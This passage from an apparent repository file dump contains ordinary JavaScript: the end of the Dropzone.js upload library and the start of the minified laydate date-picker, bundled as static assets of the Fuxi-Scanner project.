 if (_isArray34) {\n        if (_i36 >= _iterator34.length) break;\n        _ref33 = _iterator34[_i36++];\n      } else {\n        _i36 = _iterator34.next();\n        if (_i36.done) break;\n        _ref33 = _i36.value;\n      }\n\n      var dropzone = _ref33;\n\n      // Create a dropzone unless auto discover has been disabled for specific element\n      if (Dropzone.optionsForElement(dropzone) !== false) {\n        result.push(new Dropzone(dropzone));\n      } else {\n        result.push(undefined);\n      }\n    }\n    return result;\n  }();\n};\n\n// Since the whole Drag'n'Drop API is pretty new, some browsers implement it,\n// but not correctly.\n// So I created a blacklist of userAgents. Yes, yes. Browser sniffing, I know.\n// But what to do when browsers *theoretically* support an API, but crash\n// when using it.\n//\n// This is a list of regular expressions tested against navigator.userAgent\n//\n// ** It should only be used on browser that *do* support the API, but\n// incorrectly **\n//\nDropzone.blacklistedBrowsers = [\n// The mac os and windows phone version of opera 12 seems to have a problem with the File drag'n'drop API.\n/opera.*(Macintosh|Windows Phone).*version\\/12/i];\n\n// Checks if the browser is supported\nDropzone.isBrowserSupported = function () {\n  var capableBrowser = true;\n\n  if (window.File && window.FileReader && window.FileList && window.Blob && window.FormData && document.querySelector) {\n    if (!(\"classList\" in document.createElement(\"a\"))) {\n      capableBrowser = false;\n    } else {\n      // The browser supports the API, but may be blacklisted.\n      for (var _iterator35 = Dropzone.blacklistedBrowsers, _isArray35 = true, _i37 = 0, _iterator35 = _isArray35 ? _iterator35 : _iterator35[Symbol.iterator]();;) {\n        var _ref34;\n\n        if (_isArray35) {\n          if (_i37 >= _iterator35.length) break;\n          _ref34 = _iterator35[_i37++];\n        } else {\n          _i37 = _iterator35.next();\n          if (_i37.done) break;\n          _ref34 = _i37.value;\n        }\n\n        var regex = _ref34;\n\n        if (regex.test(navigator.userAgent)) {\n          capableBrowser = false;\n          continue;\n        }\n      }\n    }\n  } else {\n    capableBrowser = false;\n  }\n\n  return capableBrowser;\n};\n\nDropzone.dataURItoBlob = function (dataURI) {\n  // convert base64 to raw binary data held in a string\n  // doesn't handle URLEncoded DataURIs - see SO answer #6850276 for code that does this\n  var byteString = atob(dataURI.split(',')[1]);\n\n  // separate out the mime component\n  var mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0];\n\n  // write the bytes of the string to an ArrayBuffer\n  var ab = new ArrayBuffer(byteString.length);\n  var ia = new Uint8Array(ab);\n  for (var i = 0, end = byteString.length, asc = 0 <= end; asc ? i <= end : i >= end; asc ? i++ : i--) {\n    ia[i] = byteString.charCodeAt(i);\n  }\n\n  // write the ArrayBuffer to a blob\n  return new Blob([ab], { type: mimeString });\n};\n\n// Returns an array without the rejected item\nvar without = function without(list, rejectedItem) {\n  return list.filter(function (item) {\n    return item !== rejectedItem;\n  }).map(function (item) {\n    return item;\n  });\n};\n\n// abc-def_ghi -> abcDefGhi\nvar camelize = function camelize(str) {\n  return str.replace(/[\\-_](\\w)/g, function (match) {\n    return match.charAt(1).toUpperCase();\n  });\n};\n\n// Creates an element from string\nDropzone.createElement = function (string) {\n  var div = document.createElement(\"div\");\n  div.innerHTML = string;\n  return div.childNodes[0];\n};\n\n// Tests if given element is inside (or simply is) the container\nDropzone.elementInside = function (element, container) {\n  if (element === container) {\n    return true;\n  } // Coffeescript doesn't support do/while loops\n  while (element = element.parentNode) {\n    if (element === container) {\n      return true;\n    }\n  }\n  return false;\n};\n\nDropzone.getElement = function (el, name) {\n  var element = void 0;\n  if (typeof el === \"string\") {\n    element = document.querySelector(el);\n  } else if (el.nodeType != null) {\n    element = el;\n  }\n  if (element == null) {\n    throw new Error(\"Invalid `\" + name + \"` option provided. Please provide a CSS selector or a plain HTML element.\");\n  }\n  return element;\n};\n\nDropzone.getElements = function (els, name) {\n  var el = void 0,\n      elements = void 0;\n  if (els instanceof Array) {\n    elements = [];\n    try {\n      for (var _iterator36 = els, _isArray36 = true, _i38 = 0, _iterator36 = _isArray36 ? _iterator36 : _iterator36[Symbol.iterator]();;) {\n        if (_isArray36) {\n          if (_i38 >= _iterator36.length) break;\n          el = _iterator36[_i38++];\n        } else {\n          _i38 = _iterator36.next();\n          if (_i38.done) break;\n          el = _i38.value;\n        }\n\n        elements.push(this.getElement(el, name));\n      }\n    } catch (e) {\n      elements = null;\n    }\n  } else if (typeof els === \"string\") {\n    elements = [];\n    for (var _iterator37 = document.querySelectorAll(els), _isArray37 = true, _i39 = 0, _iterator37 = _isArray37 ? _iterator37 : _iterator37[Symbol.iterator]();;) {\n      if (_isArray37) {\n        if (_i39 >= _iterator37.length) break;\n        el = _iterator37[_i39++];\n      } else {\n        _i39 = _iterator37.next();\n        if (_i39.done) break;\n        el = _i39.value;\n      }\n\n      elements.push(el);\n    }\n  } else if (els.nodeType != null) {\n    elements = [els];\n  }\n\n  if (elements == null || !elements.length) {\n    throw new Error(\"Invalid `\" + name + \"` option provided. Please provide a CSS selector, a plain HTML element or a list of those.\");\n  }\n\n  return elements;\n};\n\n// Asks the user the question and calls accepted or rejected accordingly\n//\n// The default implementation just uses `window.confirm` and then calls the\n// appropriate callback.\nDropzone.confirm = function (question, accepted, rejected) {\n  if (window.confirm(question)) {\n    return accepted();\n  } else if (rejected != null) {\n    return rejected();\n  }\n};\n\n// Validates the mime type like this:\n//\n// https://developer.mozilla.org/en-US/docs/HTML/Element/input#attr-accept\nDropzone.isValidFile = function (file, acceptedFiles) {\n  if (!acceptedFiles) {\n    return true;\n  } // If there are no accepted mime types, it's OK\n  acceptedFiles = acceptedFiles.split(\",\");\n\n  var mimeType = file.type;\n  var baseMimeType = mimeType.replace(/\\/.*$/, \"\");\n\n  for (var _iterator38 = acceptedFiles, _isArray38 = true, _i40 = 0, _iterator38 = _isArray38 ? _iterator38 : _iterator38[Symbol.iterator]();;) {\n    var _ref35;\n\n    if (_isArray38) {\n      if (_i40 >= _iterator38.length) break;\n      _ref35 = _iterator38[_i40++];\n    } else {\n      _i40 = _iterator38.next();\n      if (_i40.done) break;\n      _ref35 = _i40.value;\n    }\n\n    var validType = _ref35;\n\n    validType = validType.trim();\n    if (validType.charAt(0) === \".\") {\n      if (file.name.toLowerCase().indexOf(validType.toLowerCase(), file.name.length - validType.length) !== -1) {\n        return true;\n      }\n    } else if (/\\/\\*$/.test(validType)) {\n      // This is something like a image/* mime type\n      if (baseMimeType === validType.replace(/\\/.*$/, \"\")) {\n        return true;\n      }\n    } else {\n      if (mimeType === validType) {\n        return true;\n      }\n    }\n  }\n\n  return false;\n};\n\n// Augment jQuery\nif (typeof jQuery !== 'undefined' && jQuery !== null) {\n  jQuery.fn.dropzone = function (options) {\n    return this.each(function () {\n      return new Dropzone(this, options);\n    });\n  };\n}\n\nif (typeof module !== 'undefined' && module !== null) {\n  module.exports = Dropzone;\n} else {\n  window.Dropzone = Dropzone;\n}\n\n// Dropzone file status codes\nDropzone.ADDED = \"added\";\n\nDropzone.QUEUED = \"queued\";\n// For backwards compatibility. Now, if a file is accepted, it's either queued\n// or uploading.\nDropzone.ACCEPTED = Dropzone.QUEUED;\n\nDropzone.UPLOADING = \"uploading\";\nDropzone.PROCESSING = Dropzone.UPLOADING; // alias\n\nDropzone.CANCELED = \"canceled\";\nDropzone.ERROR = \"error\";\nDropzone.SUCCESS = \"success\";\n\n/*\n\n Bugfix for iOS 6 and 7\n Source: http://stackoverflow.com/questions/11929099/html5-canvas-drawimage-ratio-bug-ios\n based on the work of https://github.com/stomita/ios-imagefile-megapixel\n\n */\n\n// Detecting vertical squash in loaded image.\n// Fixes a bug which squash image vertically while drawing into canvas for some images.\n// This is a bug in iOS6 devices. This function from https://github.com/stomita/ios-imagefile-megapixel\nvar detectVerticalSquash = function detectVerticalSquash(img) {\n  var iw = img.naturalWidth;\n  var ih = img.naturalHeight;\n  var canvas = document.createElement(\"canvas\");\n  canvas.width = 1;\n  canvas.height = ih;\n  var ctx = canvas.getContext(\"2d\");\n  ctx.drawImage(img, 0, 0);\n\n  var _ctx$getImageData = ctx.getImageData(1, 0, 1, ih),\n      data = _ctx$getImageData.data;\n\n  // search image edge pixel position in case it is squashed vertically.\n\n\n  var sy = 0;\n  var ey = ih;\n  var py = ih;\n  while (py > sy) {\n    var alpha = data[(py - 1) * 4 + 3];\n\n    if (alpha === 0) {\n      ey = py;\n    } else {\n      sy = py;\n    }\n\n    py = ey + sy >> 1;\n  }\n  var ratio = py / ih;\n\n  if (ratio === 0) {\n    return 1;\n  } else {\n    return ratio;\n  }\n};\n\n// A replacement for context.drawImage\n// (args are for source and destination).\nvar drawImageIOSFix = function drawImageIOSFix(ctx, img, sx, sy, sw, sh, dx, dy, dw, dh) {\n  var vertSquashRatio = detectVerticalSquash(img);\n  return ctx.drawImage(img, sx, sy, sw, sh, dx, dy, dw, dh / vertSquashRatio);\n};\n\n// Based on MinifyJpeg\n// Source: http://www.perry.cz/files/ExifRestorer.js\n// http://elicon.blog57.fc2.com/blog-entry-206.html\n\nvar ExifRestore = function () {\n  function ExifRestore() {\n    _classCallCheck(this, ExifRestore);\n  }\n\n  _createClass(ExifRestore, null, [{\n    key: \"initClass\",\n    value: function initClass() {\n      this.KEY_STR = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';\n    }\n  }, {\n    key: \"encode64\",\n    value: function encode64(input) {\n      var output = '';\n      var chr1 = undefined;\n      var chr2 = undefined;\n      var chr3 = '';\n      var enc1 = undefined;\n      var enc2 = undefined;\n      var enc3 = undefined;\n      var enc4 = '';\n      var i = 0;\n      while (true) {\n        chr1 = input[i++];\n        chr2 = input[i++];\n        chr3 = input[i++];\n        enc1 = chr1 >> 2;\n        enc2 = (chr1 & 3) << 4 | chr2 >> 4;\n        enc3 = (chr2 & 15) << 2 | chr3 >> 6;\n        enc4 = chr3 & 63;\n        if (isNaN(chr2)) {\n          enc3 = enc4 = 64;\n        } else if (isNaN(chr3)) {\n          enc4 = 64;\n        }\n        output = output + this.KEY_STR.charAt(enc1) + this.KEY_STR.charAt(enc2) + this.KEY_STR.charAt(enc3) + this.KEY_STR.charAt(enc4);\n        chr1 = chr2 = chr3 = '';\n        enc1 = enc2 = enc3 = enc4 = '';\n        if (!(i < input.length)) {\n          break;\n        }\n      }\n      return output;\n    }\n  }, {\n    key: \"restore\",\n    value: function restore(origFileBase64, resizedFileBase64) {\n      if (!origFileBase64.match('data:image/jpeg;base64,')) {\n        return resizedFileBase64;\n      }\n      var rawImage = this.decode64(origFileBase64.replace('data:image/jpeg;base64,', ''));\n      var segments = this.slice2Segments(rawImage);\n      var image = this.exifManipulation(resizedFileBase64, segments);\n      return \"data:image/jpeg;base64,\" + this.encode64(image);\n    }\n  }, {\n    key: \"exifManipulation\",\n    value: function exifManipulation(resizedFileBase64, segments) {\n      var exifArray = this.getExifArray(segments);\n      var newImageArray = this.insertExif(resizedFileBase64, exifArray);\n      var aBuffer = new Uint8Array(newImageArray);\n      return aBuffer;\n    }\n  }, {\n    key: \"getExifArray\",\n    value: function getExifArray(segments) {\n      var seg = undefined;\n      var x = 0;\n      while (x < segments.length) {\n        seg = segments[x];\n        if (seg[0] === 255 & seg[1] === 225) {\n          return seg;\n        }\n        x++;\n      }\n      return [];\n    }\n  }, {\n    key: \"insertExif\",\n    value: function insertExif(resizedFileBase64, exifArray) {\n      var imageData = resizedFileBase64.replace('data:image/jpeg;base64,', '');\n      var buf = this.decode64(imageData);\n      var separatePoint = buf.indexOf(255, 3);\n      var mae = buf.slice(0, separatePoint);\n      var ato = buf.slice(separatePoint);\n      var array = mae;\n      array = array.concat(exifArray);\n      array = array.concat(ato);\n      return array;\n    }\n  }, {\n    key: \"slice2Segments\",\n    value: function slice2Segments(rawImageArray) {\n      var head = 0;\n      var segments = [];\n      while (true) {\n        var length;\n        if (rawImageArray[head] === 255 & rawImageArray[head + 1] === 218) {\n          break;\n        }\n        if (rawImageArray[head] === 255 & rawImageArray[head + 1] === 216) {\n          head += 2;\n        } else {\n          length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3];\n          var endPoint = head + length + 2;\n          var seg = rawImageArray.slice(head, endPoint);\n          segments.push(seg);\n          head = endPoint;\n        }\n        if (head > rawImageArray.length) {\n          break;\n        }\n      }\n      return segments;\n    }\n  }, {\n    key: \"decode64\",\n    value: function decode64(input) {\n      var output = '';\n      var chr1 = undefined;\n      var chr2 = undefined;\n      var chr3 = '';\n      var enc1 = undefined;\n      var enc2 = undefined;\n      var enc3 = undefined;\n      var enc4 = '';\n      var i = 0;\n      var buf = [];\n      // remove all characters that are not A-Z, a-z, 0-9, +, /, or =\n      var base64test = /[^A-Za-z0-9\\+\\/\\=]/g;\n      if (base64test.exec(input)) {\n        console.warn('There were invalid base64 characters in the input text.\\nValid base64 characters are A-Z, a-z, 0-9, \\'+\\', \\'/\\',and \\'=\\'\\nExpect errors in decoding.');\n      }\n      input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, '');\n      while (true) {\n        enc1 = this.KEY_STR.indexOf(input.charAt(i++));\n        enc2 = this.KEY_STR.indexOf(input.charAt(i++));\n        enc3 = this.KEY_STR.indexOf(input.charAt(i++));\n        enc4 = this.KEY_STR.indexOf(input.charAt(i++));\n        chr1 = enc1 << 2 | enc2 >> 4;\n        chr2 = (enc2 & 15) << 4 | enc3 >> 2;\n        chr3 = (enc3 & 3) << 6 | enc4;\n        buf.push(chr1);\n        if (enc3 !== 64) {\n          buf.push(chr2);\n        }\n        if (enc4 !== 64) {\n          buf.push(chr3);\n        }\n        chr1 = chr2 = chr3 = '';\n        enc1 = enc2 = enc3 = enc4 = '';\n        if (!(i < input.length)) {\n          break;\n        }\n      }\n      return buf;\n    }\n  }]);\n\n  return ExifRestore;\n}();\n\nExifRestore.initClass();\n\n/*\n * contentloaded.js\n *\n * Author: Diego Perini (diego.perini at gmail.com)\n * Summary: cross-browser wrapper for DOMContentLoaded\n * Updated: 20101020\n * License: MIT\n * Version: 1.2\n *\n * URL:\n * http://javascript.nwbox.com/ContentLoaded/\n * http://javascript.nwbox.com/ContentLoaded/MIT-LICENSE\n */\n\n// @win window reference\n// @fn function reference\nvar contentLoaded = function contentLoaded(win, fn) {\n  var done = false;\n  var top = true;\n  var doc = win.document;\n  var root = doc.documentElement;\n  var add = doc.addEventListener ? \"addEventListener\" : \"attachEvent\";\n  var rem = doc.addEventListener ? \"removeEventListener\" : \"detachEvent\";\n  var pre = doc.addEventListener ? \"\" : \"on\";\n  var init = function init(e) {\n    if (e.type === \"readystatechange\" && doc.readyState !== \"complete\") {\n      return;\n    }\n    (e.type === \"load\" ? win : doc)[rem](pre + e.type, init, false);\n    if (!done && (done = true)) {\n      return fn.call(win, e.type || e);\n    }\n  };\n\n  var poll = function poll() {\n    try {\n      root.doScroll(\"left\");\n    } catch (e) {\n      setTimeout(poll, 50);\n      return;\n    }\n    return init(\"poll\");\n  };\n\n  if (doc.readyState !== \"complete\") {\n    if (doc.createEventObject && root.doScroll) {\n      try {\n        top = !win.frameElement;\n      } catch (error) {}\n      if (top) {\n        poll();\n      }\n    }\n    doc[add](pre + \"DOMContentLoaded\", init, false);\n    doc[add](pre + \"readystatechange\", init, false);\n    return win[add](pre + \"load\", init, false);\n  }\n};\n\n// As a single function to be able to write tests.\nDropzone._autoDiscoverFunction = function () {\n  if (Dropzone.autoDiscover) {\n    return Dropzone.discover();\n  }\n};\ncontentLoaded(window, Dropzone._autoDiscoverFunction);\n\nfunction __guard__(value, transform) {\n  return typeof value !== 'undefined' && value !== null ? transform(value) : undefined;\n}\nfunction __guardMethod__(obj, methodName, transform) {\n  if (typeof obj !== 'undefined' && obj !== null && typeof obj[methodName] === 'function') {\n    return transform(obj, methodName);\n  } else {\n    return undefined;\n  }\n}\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/plugins/laydate/laydate.js",
    "content": "/*! laydate-v5.0.9 日期与时间组件 MIT License  http://www.layui.com/laydate/  By 贤心 */\n ;!function(){\"use strict\";var e=window.layui&&layui.define,t={getPath:function(){var e=document.currentScript?document.currentScript.src:function(){for(var e,t=document.scripts,n=t.length-1,a=n;a>0;a--)if(\"interactive\"===t[a].readyState){e=t[a].src;break}return e||t[n].src}();return e.substring(0,e.lastIndexOf(\"/\")+1)}(),getStyle:function(e,t){var n=e.currentStyle?e.currentStyle:window.getComputedStyle(e,null);return n[n.getPropertyValue?\"getPropertyValue\":\"getAttribute\"](t)},link:function(e,a,i){if(n.path){var r=document.getElementsByTagName(\"head\")[0],o=document.createElement(\"link\");\"string\"==typeof a&&(i=a);var s=(i||e).replace(/\\.|\\//g,\"\"),l=\"layuicss-\"+s,d=0;o.rel=\"stylesheet\",o.href=n.path+e,o.id=l,document.getElementById(l)||r.appendChild(o),\"function\"==typeof a&&!function c(){return++d>80?window.console&&console.error(\"laydate.css: Invalid\"):void(1989===parseInt(t.getStyle(document.getElementById(l),\"width\"))?a():setTimeout(c,100))}()}}},n={v:\"5.0.9\",config:{},index:window.laydate&&window.laydate.v?1e5:0,path:t.getPath,set:function(e){var t=this;return t.config=w.extend({},t.config,e),t},ready:function(a){var i=\"laydate\",r=\"\",o=(e?\"modules/laydate/\":\"theme/\")+\"default/laydate.css?v=\"+n.v+r;return e?layui.addcss(o,a,i):t.link(o,a,i),this}},a=function(){var e=this;return{hint:function(t){e.hint.call(e,t)},config:e.config}},i=\"laydate\",r=\".layui-laydate\",o=\"layui-this\",s=\"laydate-disabled\",l=\"开始日期超出了结束日期<br>建议重新选择\",d=[100,2e5],c=\"layui-laydate-static\",m=\"layui-laydate-list\",u=\"laydate-selected\",h=\"layui-laydate-hint\",y=\"laydate-day-prev\",f=\"laydate-day-next\",p=\"layui-laydate-footer\",g=\".laydate-btns-confirm\",v=\"laydate-time-text\",D=\".laydate-btns-time\",T=function(e){var t=this;t.index=++n.index,t.config=w.extend({},t.config,n.config,e),n.ready(function(){t.init()})},w=function(e){return new C(e)},C=function(e){for(var t=0,n=\"object\"==typeof e?[e]:(this.selector=e,document.querySelectorAll(e||null));t<n.length;t++)this.push(n[t])};C.prototype=[],C.prototype.constructor=C,w.extend=function(){var e=1,t=arguments,n=function(e,t){e=e||(t.constructor===Array?[]:{});for(var a in t)e[a]=t[a]&&t[a].constructor===Object?n(e[a],t[a]):t[a];return e};for(t[0]=\"object\"==typeof t[0]?t[0]:{};e<t.length;e++)\"object\"==typeof t[e]&&n(t[0],t[e]);return t[0]},w.ie=function(){var e=navigator.userAgent.toLowerCase();return!!(window.ActiveXObject||\"ActiveXObject\"in window)&&((e.match(/msie\\s(\\d+)/)||[])[1]||\"11\")}(),w.stope=function(e){e=e||window.event,e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},w.each=function(e,t){var n,a=this;if(\"function\"!=typeof t)return a;if(e=e||[],e.constructor===Object){for(n in e)if(t.call(e[n],n,e[n]))break}else for(n=0;n<e.length&&!t.call(e[n],n,e[n]);n++);return a},w.digit=function(e,t,n){var a=\"\";e=String(e),t=t||2;for(var i=e.length;i<t;i++)a+=\"0\";return e<Math.pow(10,t)?a+(0|e):e},w.elem=function(e,t){var n=document.createElement(e);return w.each(t||{},function(e,t){n.setAttribute(e,t)}),n},C.addStr=function(e,t){return e=e.replace(/\\s+/,\" \"),t=t.replace(/\\s+/,\" \").split(\" \"),w.each(t,function(t,n){new RegExp(\"\\\\b\"+n+\"\\\\b\").test(e)||(e=e+\" \"+n)}),e.replace(/^\\s|\\s$/,\"\")},C.removeStr=function(e,t){return e=e.replace(/\\s+/,\" \"),t=t.replace(/\\s+/,\" \").split(\" \"),w.each(t,function(t,n){var a=new RegExp(\"\\\\b\"+n+\"\\\\b\");a.test(e)&&(e=e.replace(a,\"\"))}),e.replace(/\\s+/,\" \").replace(/^\\s|\\s$/,\"\")},C.prototype.find=function(e){var t=this,n=0,a=[],i=\"object\"==typeof e;return this.each(function(r,o){for(var s=i?[e]:o.querySelectorAll(e||null);n<s.length;n++)a.push(s[n]);t.shift()}),i||(t.selector=(t.selector?t.selector+\" \":\"\")+e),w.each(a,function(e,n){t.push(n)}),t},C.prototype.each=function(e){return w.each.call(this,this,e)},C.prototype.addClass=function(e,t){return this.each(function(n,a){a.className=C[t?\"removeStr\":\"addStr\"](a.className,e)})},C.prototype.removeClass=function(e){return this.addClass(e,!0)},C.prototype.hasClass=function(e){var t=!1;return this.each(function(n,a){new RegExp(\"\\\\b\"+e+\"\\\\b\").test(a.className)&&(t=!0)}),t},C.prototype.attr=function(e,t){var n=this;return void 0===t?function(){if(n.length>0)return n[0].getAttribute(e)}():n.each(function(n,a){a.setAttribute(e,t)})},C.prototype.removeAttr=function(e){return this.each(function(t,n){n.removeAttribute(e)})},C.prototype.html=function(e){return this.each(function(t,n){n.innerHTML=e})},C.prototype.val=function(e){return this.each(function(t,n){n.value=e})},C.prototype.append=function(e){return this.each(function(t,n){\"object\"==typeof e?n.appendChild(e):n.innerHTML=n.innerHTML+e})},C.prototype.remove=function(e){return this.each(function(t,n){e?n.removeChild(e):n.parentNode.removeChild(n)})},C.prototype.on=function(e,t){return this.each(function(n,a){a.attachEvent?a.attachEvent(\"on\"+e,function(e){e.target=e.srcElement,t.call(a,e)}):a.addEventListener(e,t,!1)})},C.prototype.off=function(e,t){return this.each(function(n,a){a.detachEvent?a.detachEvent(\"on\"+e,t):a.removeEventListener(e,t,!1)})},T.isLeapYear=function(e){return e%4===0&&e%100!==0||e%400===0},T.prototype.config={type:\"date\",range:!1,format:\"yyyy-MM-dd\",value:null,min:\"1900-1-1\",max:\"2099-12-31\",trigger:\"focus\",show:!1,showBottom:!0,btns:[\"clear\",\"now\",\"confirm\"],lang:\"cn\",theme:\"default\",position:null,calendar:!1,mark:{},zIndex:null,done:null,change:null},T.prototype.lang=function(){var e=this,t=e.config,n={cn:{weeks:[\"日\",\"一\",\"二\",\"三\",\"四\",\"五\",\"六\"],time:[\"时\",\"分\",\"秒\"],timeTips:\"选择时间\",startTime:\"开始时间\",endTime:\"结束时间\",dateTips:\"返回日期\",month:[\"一\",\"二\",\"三\",\"四\",\"五\",\"六\",\"七\",\"八\",\"九\",\"十\",\"十一\",\"十二\"],tools:{confirm:\"确定\",clear:\"清空\",now:\"现在\"}},en:{weeks:[\"Su\",\"Mo\",\"Tu\",\"We\",\"Th\",\"Fr\",\"Sa\"],time:[\"Hours\",\"Minutes\",\"Seconds\"],timeTips:\"Select Time\",startTime:\"Start Time\",endTime:\"End Time\",dateTips:\"Select Date\",month:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],tools:{confirm:\"Confirm\",clear:\"Clear\",now:\"Now\"}}};return n[t.lang]||n.cn},T.prototype.init=function(){var e=this,t=e.config,n=\"yyyy|y|MM|M|dd|d|HH|H|mm|m|ss|s\",a=\"static\"===t.position,i={year:\"yyyy\",month:\"yyyy-MM\",date:\"yyyy-MM-dd\",time:\"HH:mm:ss\",datetime:\"yyyy-MM-dd HH:mm:ss\"};t.elem=w(t.elem),t.eventElem=w(t.eventElem),t.elem[0]&&(t.range===!0&&(t.range=\"-\"),t.format===i.date&&(t.format=i[t.type]),e.format=t.format.match(new RegExp(n+\"|.\",\"g\"))||[],e.EXP_IF=\"\",e.EXP_SPLIT=\"\",w.each(e.format,function(t,a){var i=new RegExp(n).test(a)?\"\\\\d{\"+function(){return new RegExp(n).test(e.format[0===t?t+1:t-1]||\"\")?/^yyyy|y$/.test(a)?4:a.length:/^yyyy$/.test(a)?\"1,4\":/^y$/.test(a)?\"1,308\":\"1,2\"}()+\"}\":\"\\\\\"+a;e.EXP_IF=e.EXP_IF+i,e.EXP_SPLIT=e.EXP_SPLIT+\"(\"+i+\")\"}),e.EXP_IF=new RegExp(\"^\"+(t.range?e.EXP_IF+\"\\\\s\\\\\"+t.range+\"\\\\s\"+e.EXP_IF:e.EXP_IF)+\"$\"),e.EXP_SPLIT=new RegExp(\"^\"+e.EXP_SPLIT+\"$\",\"\"),e.isInput(t.elem[0])||\"focus\"===t.trigger&&(t.trigger=\"click\"),t.elem.attr(\"lay-key\")||(t.elem.attr(\"lay-key\",e.index),t.eventElem.attr(\"lay-key\",e.index)),t.mark=w.extend({},t.calendar&&\"cn\"===t.lang?{\"0-1-1\":\"元旦\",\"0-2-14\":\"情人\",\"0-3-8\":\"妇女\",\"0-3-12\":\"植树\",\"0-4-1\":\"愚人\",\"0-5-1\":\"劳动\",\"0-5-4\":\"青年\",\"0-6-1\":\"儿童\",\"0-9-10\":\"教师\",\"0-9-18\":\"国耻\",\"0-10-1\":\"国庆\",\"0-12-25\":\"圣诞\"}:{},t.mark),w.each([\"min\",\"max\"],function(e,n){var a=[],i=[];if(\"number\"==typeof t[n]){var r=t[n],o=(new Date).getTime(),s=864e5,l=new Date(r?r<s?o+r*s:r:o);a=[l.getFullYear(),l.getMonth()+1,l.getDate()],r<s||(i=[l.getHours(),l.getMinutes(),l.getSeconds()])}else a=(t[n].match(/\\d+-\\d+-\\d+/)||[\"\"])[0].split(\"-\"),i=(t[n].match(/\\d+:\\d+:\\d+/)||[\"\"])[0].split(\":\");t[n]={year:0|a[0]||(new Date).getFullYear(),month:a[1]?(0|a[1])-1:(new Date).getMonth(),date:0|a[2]||(new Date).getDate(),hours:0|i[0],minutes:0|i[1],seconds:0|i[2]}}),e.elemID=\"layui-laydate\"+t.elem.attr(\"lay-key\"),(t.show||a)&&e.render(),a||e.events(),t.value&&(t.value.constructor===Date?e.setValue(e.parse(0,e.systemDate(t.value))):e.setValue(t.value)))},T.prototype.render=function(){var e=this,t=e.config,n=e.lang(),a=\"static\"===t.position,i=e.elem=w.elem(\"div\",{id:e.elemID,\"class\":[\"layui-laydate\",t.range?\" layui-laydate-range\":\"\",a?\" \"+c:\"\",t.theme&&\"default\"!==t.theme&&!/^#/.test(t.theme)?\" laydate-theme-\"+t.theme:\"\"].join(\"\")}),r=e.elemMain=[],o=e.elemHeader=[],s=e.elemCont=[],l=e.table=[],d=e.footer=w.elem(\"div\",{\"class\":p});if(t.zIndex&&(i.style.zIndex=t.zIndex),w.each(new Array(2),function(e){if(!t.range&&e>0)return!0;var a=w.elem(\"div\",{\"class\":\"layui-laydate-header\"}),i=[function(){var e=w.elem(\"i\",{\"class\":\"layui-icon laydate-icon laydate-prev-y\"});return e.innerHTML=\"&#xe65a;\",e}(),function(){var e=w.elem(\"i\",{\"class\":\"layui-icon laydate-icon laydate-prev-m\"});return e.innerHTML=\"&#xe603;\",e}(),function(){var e=w.elem(\"div\",{\"class\":\"laydate-set-ym\"}),t=w.elem(\"span\"),n=w.elem(\"span\");return e.appendChild(t),e.appendChild(n),e}(),function(){var e=w.elem(\"i\",{\"class\":\"layui-icon laydate-icon laydate-next-m\"});return e.innerHTML=\"&#xe602;\",e}(),function(){var e=w.elem(\"i\",{\"class\":\"layui-icon laydate-icon laydate-next-y\"});return e.innerHTML=\"&#xe65b;\",e}()],d=w.elem(\"div\",{\"class\":\"layui-laydate-content\"}),c=w.elem(\"table\"),m=w.elem(\"thead\"),u=w.elem(\"tr\");w.each(i,function(e,t){a.appendChild(t)}),m.appendChild(u),w.each(new Array(6),function(e){var t=c.insertRow(0);w.each(new Array(7),function(a){if(0===e){var i=w.elem(\"th\");i.innerHTML=n.weeks[a],u.appendChild(i)}t.insertCell(a)})}),c.insertBefore(m,c.children[0]),d.appendChild(c),r[e]=w.elem(\"div\",{\"class\":\"layui-laydate-main laydate-main-list-\"+e}),r[e].appendChild(a),r[e].appendChild(d),o.push(i),s.push(d),l.push(c)}),w(d).html(function(){var e=[],i=[];return\"datetime\"===t.type&&e.push('<span lay-type=\"datetime\" class=\"laydate-btns-time\">'+n.timeTips+\"</span>\"),w.each(t.btns,function(e,r){var o=n.tools[r]||\"btn\";t.range&&\"now\"===r||(a&&\"clear\"===r&&(o=\"cn\"===t.lang?\"重置\":\"Reset\"),i.push('<span lay-type=\"'+r+'\" class=\"laydate-btns-'+r+'\">'+o+\"</span>\"))}),e.push('<div class=\"laydate-footer-btns\">'+i.join(\"\")+\"</div>\"),e.join(\"\")}()),w.each(r,function(e,t){i.appendChild(t)}),t.showBottom&&i.appendChild(d),/^#/.test(t.theme)){var m=w.elem(\"style\"),u=[\"#{{id}} .layui-laydate-header{background-color:{{theme}};}\",\"#{{id}} .layui-this{background-color:{{theme}} !important;}\"].join(\"\").replace(/{{id}}/g,e.elemID).replace(/{{theme}}/g,t.theme);\"styleSheet\"in m?(m.setAttribute(\"type\",\"text/css\"),m.styleSheet.cssText=u):m.innerHTML=u,w(i).addClass(\"laydate-theme-molv\"),i.appendChild(m)}e.remove(T.thisElemDate),a?t.elem.append(i):(document.body.appendChild(i),e.position()),e.checkDate().calendar(),e.changeEvent(),T.thisElemDate=e.elemID,\"function\"==typeof t.ready&&t.ready(w.extend({},t.dateTime,{month:t.dateTime.month+1}))},T.prototype.remove=function(e){var t=this,n=(t.config,w(\"#\"+(e||t.elemID)));return n.hasClass(c)||t.checkDate(function(){n.remove()}),t},T.prototype.position=function(){var e=this,t=e.config,n=e.bindElem||t.elem[0],a=n.getBoundingClientRect(),i=e.elem.offsetWidth,r=e.elem.offsetHeight,o=function(e){return e=e?\"scrollLeft\":\"scrollTop\",document.body[e]|document.documentElement[e]},s=function(e){return document.documentElement[e?\"clientWidth\":\"clientHeight\"]},l=5,d=a.left,c=a.bottom;d+i+l>s(\"width\")&&(d=s(\"width\")-i-l),c+r+l>s()&&(c=a.top>r?a.top-r:s()-r,c-=2*l),t.position&&(e.elem.style.position=t.position),e.elem.style.left=d+(\"fixed\"===t.position?0:o(1))+\"px\",e.elem.style.top=c+(\"fixed\"===t.position?0:o())+\"px\"},T.prototype.hint=function(e){var 